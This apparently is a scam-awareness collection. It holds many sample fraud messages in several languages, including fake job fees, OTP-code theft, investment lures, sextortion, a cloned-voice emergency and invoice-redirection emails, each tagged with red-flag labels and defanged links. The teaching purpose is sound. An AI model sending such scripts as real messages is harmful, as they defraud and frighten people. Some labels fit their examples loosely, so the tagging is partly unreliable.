• Sent from a personal number or unusual address

Subject: Offer of employment – Administrative Officer

Dear Applicant,
Following your application, we are pleased to offer you the position of Administrative Officer with a monthly salary of GH₵ 9,500. Before your contract is issued, kindly pay GH₵ 1,200 for medical screening at our approved clinic.
HR Department, [Company]

• Asks for a small fee before you can receive something
• You may not have applied
• Legitimate employers pay for checks themselves

مرحباً، أرسلت لك رمزاً من 6 أرقام بالخطأ. هل يمكنك إرساله لي من فضلك؟

English: Hello, I sent you a 6-digit code by mistake. Can you send it to me please?

• Asks you to share a one-time verification code
• The code is for your account

Samahani, nimetuma namba ya uthibitisho kwako kwa makosa. Tafadhali nitumie hiyo namba.

English: Sorry, I sent a verification number to you by mistake. Please send me that number.

• Asks you to share a one-time verification code
• The code is for your account

Xin chào, tôi là trợ lý của chuyên gia đầu tư. Nhóm chúng tôi chia sẻ mã cổ phiếu miễn phí, lợi nhuận 20% mỗi tuần. Bạn có muốn tham gia không?

English: Hello, I am the assistant to an investment expert. Our group shares free stock picks, 20% profit every week. Would you like to join?

• Promises guaranteed returns
• Contact you did not ask for
• Added to a group you did not join

Halo, saya asisten profesor investasi. Grup kami berbagi rekomendasi saham gratis dengan keuntungan 30% per bulan. Mau bergabung?

English: Hello, I am an investment professor's assistant. Our group shares free stock recommendations with 30% profit per month. Want to join?

• Promises guaranteed returns
• Contact you did not ask for

नमस्ते! हमारे निवेश ग्रुप से जुड़ें और हर महीने 40% मुनाफ़ा कमाएं। गारंटी के साथ।

English: Hello! Join our investment group and earn 40% profit every month. Guaranteed.

• Promises guaranteed returns
• Contact you did not ask for
• Offer is too good to be true

Halo Bu, ini nomor baru aku. HP lama rusak. Nanti aku minta tolong sesuatu ya.

English: Hello Mum, this is my new number. Old phone broke. I'll ask you for help with something later.

• Claims to have a new number and asks you to save it
• Sets up a request for later

Hello, I saw your laptop advert. I'm abroad but my cousin will pick it up. I've sent the money through mobile money, check the message. Please refund the extra GH₵ 500 I sent by mistake.

• Overpayment then refund request
• Fake payment message
• Check your actual balance

I have 2 VIP tickets for the December concert in Accra. GH₵ 1,500 each. Send via mobile money and I'll send the tickets on [Messaging App].

• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

Chamber and hall self-contain in East Legon, 2 years advance GH₵ 24,000. Pay GH₵ 500 viewing fee to my mobile money first.

• Asks for a small fee before you can receive something
• Asks you to pay before you receive anything
• Asks for an upfront deposit

Free in-game coins for South African players! Enter your login here: hxxps://free-coins-za[.]example

• Asks for card details, PIN or password
• Offer is too good to be true
• Link does not belong to the organisation named

Subject: Change of remittance details

Dear Accounts,
Please be informed that our company account has changed. Kindly remit the outstanding GH₵ 186,000 to the new account attached and confirm by email.
[Supplier]

• Asks to change the bank details for a payment
• Greets you generically instead of by name

[Famous Footballer] invests in new forex platform for Ghanaians. Earn GH₵ 3,000 weekly from GH₵ 500. Register today!

• Promises guaranteed returns
• Fake endorsement
• Offer is too good to be true

Congratulations! Your number has won GH₵ 20,000 in the [Telecom Company] promo. Send GH₵ 150 to claim.

• Offer is too good to be true
• Asks for a small fee before you can receive something

Nina video yako. Tuma KSh 30,000 ndani ya saa moja la sivyo nitaituma kwa familia yako.

English: I have your video. Send KSh 30,000 within one hour or I will send it to your family.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

[Cloned voice of sister]: Ebo, it's me. I'm at the hospital with Maame, she collapsed. They need GH₵ 3,000 before they treat her. Please send to the nurse's mobile money number now, my phone is dying.

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account

[Sticker at a shop till]
Lipa kwa QR – Pay by QR
[QR code → hxxps://lipa-qr[.]example]

• QR code leads to a payment or login page
• Sticker placed over the real code

[Expressway Toll]: You have an unpaid toll balance of ₱215. Settle today to avoid a ₱1,000 penalty: hxxps://toll-ph[.]example

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named

[Toll Tag Service]: Your toll tag balance is negative. Recharge Rs 150 now to avoid blacklisting of your vehicle: hxxps://tag-recharge[.]example

• Asks for a small amount so it feels harmless
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named

Subject: Tax refund notification

Dear Taxpayer,
[Revenue Authority] has processed a refund of KSh 18,450 for the 2025 tax year. Click to claim: hxxps://tax-refund-ke[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• Greets you generically instead of by name

[Revenue Authority] Ghana: Your TIN is flagged for unpaid taxes. Pay GH₵ 800 penalty today to avoid prosecution: hxxps://tin-pay[.]example

• Threatens arrest, fines or account closure
• Uses authority (police, court, tax office) to frighten you
• Link does not belong to the organisation named
• Creates urgency with a short deadline

Your [Streaming Service] subscription failed to renew. Update payment within 24 hours to keep watching: hxxps://renew-ph[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Asks for card details, PIN or password

Your account has been selected for verification. Pay KSh 2,500 to our agent to get the blue badge today.

• Asks for a small fee before you can receive something
• Badges are only sold through official app settings

Your phone has been hacked! Install our security app now to protect your bank details: hxxps://phone-protect-app[.]example

• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• App not in official app stores

Please help a widow and her 5 children whose house was destroyed by flooding in Bayelsa. Donate any amount to the account below.

• Plays on emotions to rush you
• Asks for a transfer to a personal or unfamiliar account
• Story you cannot verify

Condo for rent sa Makati, ₱12,000/month fully furnished. Abroad ako so ipapadala ko lang ang susi. Reservation fee ₱10,000 muna.

• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Always has a reason not to meet or video call

Good evening Chioma, did you get home safely after the party?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Hi Grace, is the meeting with the client still at 3pm today?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Hello Wanjiru, are we still meeting at the mall at 4?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

FROM THE DESK OF BARRISTER JAMES OKAFOR (SAN)
Dear Beloved Friend,
I am contacting you concerning my late client who died in a motor accident leaving the sum of US$12.5 MILLION in a bank. You share the same surname so I want to present you as next of kin. We will share 60/40. Reply with your full name, phone and bank details URGENTLY.

• Offer is too good to be true
• Asks for card details, PIN or password
• Spelling and grammar mistakes
• Classic inheritance story from a stranger

YOUR PARCEL HAS ARRIVE!!! pay GH₵ 25 custom fee now or parcel will be DESTROYED today. click hxxp://parcel-gh[.]invalid

• Spelling and grammar mistakes
• Asks for a small fee before you can receive something
• Threatens arrest, fines or account closure
• Link does not belong to the organisation named

Hello, this is calling from the internet department. Your internet licence is expired and your IP address is hacked by criminals. Please call back 0491 570 110 or police will be informed.

• Threatens arrest, fines or account closure
• Gives its own callback number instead of the official one
• No such thing as an internet licence

!!! 99% OFF EVERYTHING !!! Brand new laptops $19. Phones $9. Only today. HURRY HURRY. Pay by gift card only.

• Offer is too good to be true
• Asks for payment in gift cards
• Creates urgency with a short deadline

Hello dear, send me the code you recieved now or your account will be BLOCKED by the goverment.

• Asks you to share a one-time verification code
• Threatens arrest, fines or account closure
• Spelling and grammar mistakes

Subject: RE: Updated banking details

Hi Natalie,
Just following up on my email from Tuesday. We haven't received the $23,780 yet and our director is asking. Please confirm you've updated our details and send the remittance today so we can release your order.
Thanks,
Accounts, [Supplier]

• Asks to change the bank details for a payment
• Creates urgency with a short deadline
• Follow-up pressure on a changed account
• Call the supplier on a number you already have

Subject: Refund processing – case 22-417

Hi, this is Jason from the billing team following up on your call yesterday. Your $399.99 refund is ready but our system needs you to log into your online banking during a support session so we can deposit it. Please call 202-555-0177 to finish.

• Asks you to install remote-access software
• Gives its own callback number instead of the official one
• Refunds never need access to your online banking

Hi Morgan,
Just checking in, I haven't received the deposit yet. Another family is ready to send theirs today, but I'd really prefer you as you seem responsible. If I don't have it by 6pm I'll have to give them the keys.
Best,
Linda

• Creates urgency with a short deadline
• Pressure from "other interested people"
• Asks for an upfront deposit
• Always has a reason not to meet or video call

Did you get the email from [Marketplace]? They said you need to pay the £45 insurance first and it gets refunded with my payment. Can you do it now please, my courier is waiting.

• Asks you to pay before you receive anything
• Fake platform email
• Creates urgency with a short deadline

Subject: Second notice: payment failed

This is your second reminder. Your account will be permanently closed in 12 hours and your watch history and saved profiles will be lost. Update billing: hxxps://stream-second-notice[.]example

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Subject: Reminder – unclaimed parcel at your address

We delivered a parcel to your address last week that you did not order. To arrange collection or keep it free, please verify your identity: hxxps://unclaimed-parcel-sg[.]example

• Brushing follow-up asking for your details
• Link does not belong to the organisation named

Caller: Good day, I'm calling from the legal collections division about your loan. Our records show three missed payments. If we don't receive R3,850 today, a summons will be served at your workplace this afternoon and your ID will be blacklisted. I can take payment now over the phone.

• Uses authority (police, court, tax office) to frighten you
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Real collectors send written notice first

Subject: Your gift is still needed tonight

Dear Friend, we noticed you opened our wildfire appeal but haven't given yet. Families are waiting. A matching donor will double your gift until midnight: hxxps://wildfire-match-gift[.]example

• Plays on emotions to rush you
• Creates urgency with a short deadline
• Link does not belong to the organisation named
• Tracks whether you opened the email

I've sent the tickets to your email, check your spam. Can you send the other $200 now? I'm about to board a flight and won't have reception.

• Asks you to pay before you receive anything
• Creates urgency with a short deadline
• Excuse to rush you before you check the tickets

Subject: Final reminder – offer letter will lapse

Dear Student,
Your conditional offer and visa sponsorship will be withdrawn if the tuition deposit of Rs 3,40,000 is not received within 24 hours. Please pay to the agent account attached, as the university portal is under maintenance.

• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account
• Asks you to pay an agent instead of the university
• Threatens arrest, fines or account closure

Subject: FINAL DISCONNECTION WARNING

Dear Customer,
Despite previous reminders, your outstanding bill of ₦48,600 remains unpaid. Disconnection crew has been dispatched. Pay immediately to the account below to stop disconnection.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Asks for a transfer to a personal or unfamiliar account
• Greets you generically instead of by name

Hey, our tournament admin says your account didn't verify. You need to log in again here within 15 minutes or your team gets disqualified: hxxps://tourney-verify[.]example

• Creates urgency with a short deadline
• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Threatens arrest, fines or account closure